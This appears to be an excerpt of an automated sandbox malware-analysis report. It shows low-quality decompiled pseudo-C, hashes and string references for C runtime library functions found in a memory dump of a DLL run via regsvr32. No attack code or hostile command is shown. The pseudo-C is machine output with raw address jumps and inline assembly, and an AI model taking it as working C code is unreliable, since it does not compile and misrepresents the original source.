0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
_invalid_parameter.LIBCMTD ref: 000007FEF9D3ED4C
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED61
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED82

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-734865713
Opcode ID: d839b4f8492d9702b4695783724771f139c243a43186ab9091008b35e86c7283
Instruction ID: 2534415b6cec3e8c7a7064d8bee2958269565171124d4a2b4bf05b50673a9d36
Opcode Fuzzy Hash: d839b4f8492d9702b4695783724771f139c243a43186ab9091008b35e86c7283
Instruction Fuzzy Hash: 4C411CB2A0C6C18AE3B0CB64E8447BEB7E0F384345F600125E6D987AA8DB7DD444CF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DC41 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E000007FE7FEF9D3DC41(intOrPtr _a76, signed int _a80, signed int _a88, signed int _a92, signed int _a108, signed int _a112, intOrPtr _a116, char _a1200, signed int _a1208, intOrPtr _a1216, signed int _a1404, signed int _a1408, signed int _a1412, intOrPtr _a1536, signed short* _a1544, char _a1560) {
				void* _t190;
				char* _t210;
				char* _t211;

				_a76 = 1;
				E000007FE7FEF9D3EE40(_a1208 & 0x0000ffff, _a1536,  &_a1200);
				_a112 = 0;
				_a108 = _a112;
				_a88 = _a108;
				_a92 = _a88;
				_a80 = 0;
				_a116 = 0xffffffff;
				_a76 = 0;
				_a1404 = _a1208 & 0x0000ffff;
				if (_a1404 == 0x20) goto 0xf9d3dd05;
				if (_a1404 == 0x23) goto 0xf9d3dd12;
				if (_a1404 == 0x2b) goto 0xf9d3dcf8;
				if (_a1404 == 0x2d) goto 0xf9d3dceb;
				if (_a1404 == 0x30) goto 0xf9d3dd20;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000004;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000001;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000002;
				goto 0xf9d3dd2b;
				asm("bts eax, 0x7");
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000008;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3dd6c;
				_t210 =  &_a1560;
				_a88 = E000007FE7FEF9D31E40(_t210);
				if (_a88 >= 0) goto 0xf9d3dd6a;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3dd83;
				_a88 = _t190 + _t210 - 0x30;
				_a116 = 0;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t211 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t211);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t190 + _t211 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dc41
0x7fef9d3dc61
0x7fef9d3dc6b
0x7fef9d3dc77
0x7fef9d3dc7f
0x7fef9d3dc87
0x7fef9d3dc8b
0x7fef9d3dc93
0x7fef9d3dc9b
0x7fef9d3dcb0
0x7fef9d3dcbf
0x7fef9d3dcc9
0x7fef9d3dcd3
0x7fef9d3dcdd
0x7fef9d3dce7
0x7fef9d3dce9
0x7fef9d3dcf2
0x7fef9d3dcf6
0x7fef9d3dcff
0x7fef9d3dd03
0x7fef9d3dd0c
0x7fef9d3dd10
0x7fef9d3dd16
0x7fef9d3dd1e
0x7fef9d3dd27
0x7fef9d3dd3b
0x7fef9d3dd3d
0x7fef9d3dd4a
0x7fef9d3dd53
0x7fef9d3dd5c
0x7fef9d3dd66
0x7fef9d3dd6a
0x7fef9d3dd7f
0x7fef9d3dd88
0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
_invalid_parameter.LIBCMTD ref: 000007FEF9D3ED4C
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED61
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED82

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-734865713
Opcode ID: 00c8469e1271fc8907031e5201d4ef955f45b92ddfc689a069c686c98e5ea265
Instruction ID: 4e41d9db2091814ce308bd8b3badba688d1355b6a5e36393cab3bd2279fd69d5
Opcode Fuzzy Hash: 00c8469e1271fc8907031e5201d4ef955f45b92ddfc689a069c686c98e5ea265
Instruction Fuzzy Hash: 01412AB2A0C6C286E7F09B64E8407BEB2E4F384346F600126D6CD876A9DB3ED444CF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BDDA Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 80
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E000007FE7FEF9D3BDDA(signed int _a80, intOrPtr _a116, signed int _a696, intOrPtr _a704, char _a972, signed int _a976, void* _a1096, char _a1112) {
				void* _t114;
				char* _t134;

				_a116 = 0;
				if (_a696 != 0x2a) goto 0xf9d3be16;
				_t134 =  &_a1112;
				_a116 = E000007FE7FEF9D31E40(_t134);
				if (_a116 >= 0) goto 0xf9d3be14;
				_a116 = 0xffffffff;
				goto 0xf9d3be2d;
				_a116 = _t114 + _t134 - 0x30;
				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bdda
0x7fef9d3bdf2
0x7fef9d3bdf4
0x7fef9d3be01
0x7fef9d3be0a
0x7fef9d3be0c
0x7fef9d3be14
0x7fef9d3be29
0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
_invalid_parameter.LIBCMTD ref: 000007FEF9D3CD3E
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3CD53
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3CD74

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
_output_s_l, xrefs: 000007FEF9D3BAFB

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-192189897
Opcode ID: 0dcb35cdac88f8f65d488c6c387acf7a3a87c9c5c0c9a15f6f87c725b9d0fc3a
Instruction ID: 25f4969c447c8d4d660c638a7323c6370fe89c3a0b7b258112d187f79a668fd6
Opcode Fuzzy Hash: 0dcb35cdac88f8f65d488c6c387acf7a3a87c9c5c0c9a15f6f87c725b9d0fc3a
Instruction Fuzzy Hash: ED416E72A0DAC28AE3F0DB24E8547BEB7E4E384345F600126D6DD869A9DB7ED140CF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DD88 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 80
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E000007FE7FEF9D3DD88(signed int _a80, intOrPtr _a116, signed int _a1208, intOrPtr _a1216, signed int _a1408, signed int _a1412, signed short* _a1544, char _a1560) {
				void* _t114;
				char* _t134;

				_a116 = 0;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t134 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t134);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t114 + _t134 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dd88
0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
_invalid_parameter.LIBCMTD ref: 000007FEF9D3ED4C
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED61
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED82

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-734865713
Opcode ID: c688226ec199b2b9f0c59a43de4c80c1eb2ed98f75eb3809899ea6a1a3543fc2
Instruction ID: 6afb929124b84414141dd4680376ccf7afecd9c4b7d6d92296aea7179b7f5a27
Opcode Fuzzy Hash: c688226ec199b2b9f0c59a43de4c80c1eb2ed98f75eb3809899ea6a1a3543fc2
Instruction Fuzzy Hash: 024109A2A0C6C286E7F09B64E8447BEB6E4F394346F600126D6CD876A5DB3ED444DF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D39520 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 000007FEF9D3F900: __doserrno.LIBCMTD ref: 000007FEF9D3F913

SetFilePointer.KERNEL32 ref: 000007FEF9D395B0
GetLastError.KERNEL32 ref: 000007FEF9D395C1
_dosmaperr.LIBCMTD ref: 000007FEF9D395D6

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\lseeki64.c, xrefs: 000007FEF9D39578
("Invalid file descriptor. File possibly closed by a different thread",0), xrefs: 000007FEF9D39563

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ErrorFileLastPointer__doserrno_dosmaperr
String ID: ("Invalid file descriptor. File possibly closed by a different thread",0)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\lseeki64.c
API String ID: 275287319-2412454244
Opcode ID: 9dbe059b54c234531181e61fbc079bb475f6c20a5a1a356ebb7b18ccdd590da7
Instruction ID: f463794f61061979348d28cf0890255f55ae464b61bc66257c006d95a81b41bb
Opcode Fuzzy Hash: 9dbe059b54c234531181e61fbc079bb475f6c20a5a1a356ebb7b18ccdd590da7
Instruction Fuzzy Hash: A8316372A18B85C6D790CB28E88066E77A1F7857A5F604325E6FE47AF9CB3DD441CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D26210 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D262BE
_unlock.LIBCMTD ref: 000007FEF9D26329

Strings

(fNewBits==_CRTDBG_REPORT_FLAG) || ((fNewBits & 0x0ffff & ~(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_DELAY_FREE_MEM_DF | _CRTDBG_CHECK_ALWAY, xrefs: 000007FEF9D2625A, 000007FEF9D262B7
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D2626F, 000007FEF9D262A9
_CrtSetDbgFlag, xrefs: 000007FEF9D262B0

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter_unlock
String ID: (fNewBits==_CRTDBG_REPORT_FLAG) || ((fNewBits & 0x0ffff & ~(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_DELAY_FREE_MEM_DF | _CRTDBG_CHECK_ALWAY$_CrtSetDbgFlag$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c
API String ID: 2816345473-1282596470
Opcode ID: db3a677d4455786e2b88604055b88d75c0eb5ecf603a90f053d8ba1f75c85f5c
Instruction ID: 0c290ab1c852a48438f6a901ce88093280091c3cb9967e086700a94ae8aeefb6
Opcode Fuzzy Hash: db3a677d4455786e2b88604055b88d75c0eb5ecf603a90f053d8ba1f75c85f5c
Instruction Fuzzy Hash: 18313371D1D2428AE3A08B68ED4476E77E0F741364F615236A6CD866F4D77EE4488B00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D40070 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 55COMMONLIBRARYCODE

Download Yara Rule

APIs

_free_nolock.LIBCMTD ref: 000007FEF9D400EA
_free_nolock.LIBCMTD ref: 000007FEF9D40143
_unlock.LIBCMTD ref: 000007FEF9D4015A

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\prebuild\eh\typname.cpp, xrefs: 000007FEF9D4011C
pNode->_Next != NULL, xrefs: 000007FEF9D40107

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _free_nolock$_unlock
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\prebuild\eh\typname.cpp$pNode->_Next != NULL
API String ID: 2500497606-1087415141
Opcode ID: e5522c6252449cb40e85df54e6268dac1ebec28ce271d6c329a952fe203911e4
Instruction ID: 34f18152e293ad813cf8b9b11c4969fef8ff7405ef187e896dde4a1f66726313
Opcode Fuzzy Hash: e5522c6252449cb40e85df54e6268dac1ebec28ce271d6c329a952fe203911e4
Instruction Fuzzy Hash: 4121FC36629B8581EB909B59E89072DA3E4F3C4B94F609426FACE437B4CF7ED444CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D35393 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

__RethrowException.LIBCMTD ref: 000007FEF9D353C5

Part of subcall function 000007FEF9D354A0: RaiseException.KERNEL32 ref: 000007FEF9D354CD

__RethrowException.LIBCMTD ref: 000007FEF9D353D1
_FindAndUnlinkFrame.LIBCMTD ref: 000007FEF9D353DC
_IsExceptionObjectToBeDestroyed.LIBCMTD ref: 000007FEF9D35433

Strings

csm, xrefs: 000007FEF9D353ED

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Exception$Rethrow$DestroyedFindFrameObjectRaiseUnlink
String ID: csm
API String ID: 933340387-1018135373
Opcode ID: 185150422f69e9325bbbdd07ff6b0460cc0f5d94f5833ed3dae1d6afaaf19a73
Instruction ID: be7caa3ba3d0a30f9fef9d29ccc0ee5b0ac29a888dcf6323555a590ed5530147
Opcode Fuzzy Hash: 185150422f69e9325bbbdd07ff6b0460cc0f5d94f5833ed3dae1d6afaaf19a73
Instruction Fuzzy Hash: BE21FA32A0C64582DAA09B15E49076D67A0F7C0B52F611136EADE077B5CB3BD4418B00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D39694 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37COMMON

Download Yara Rule

APIs

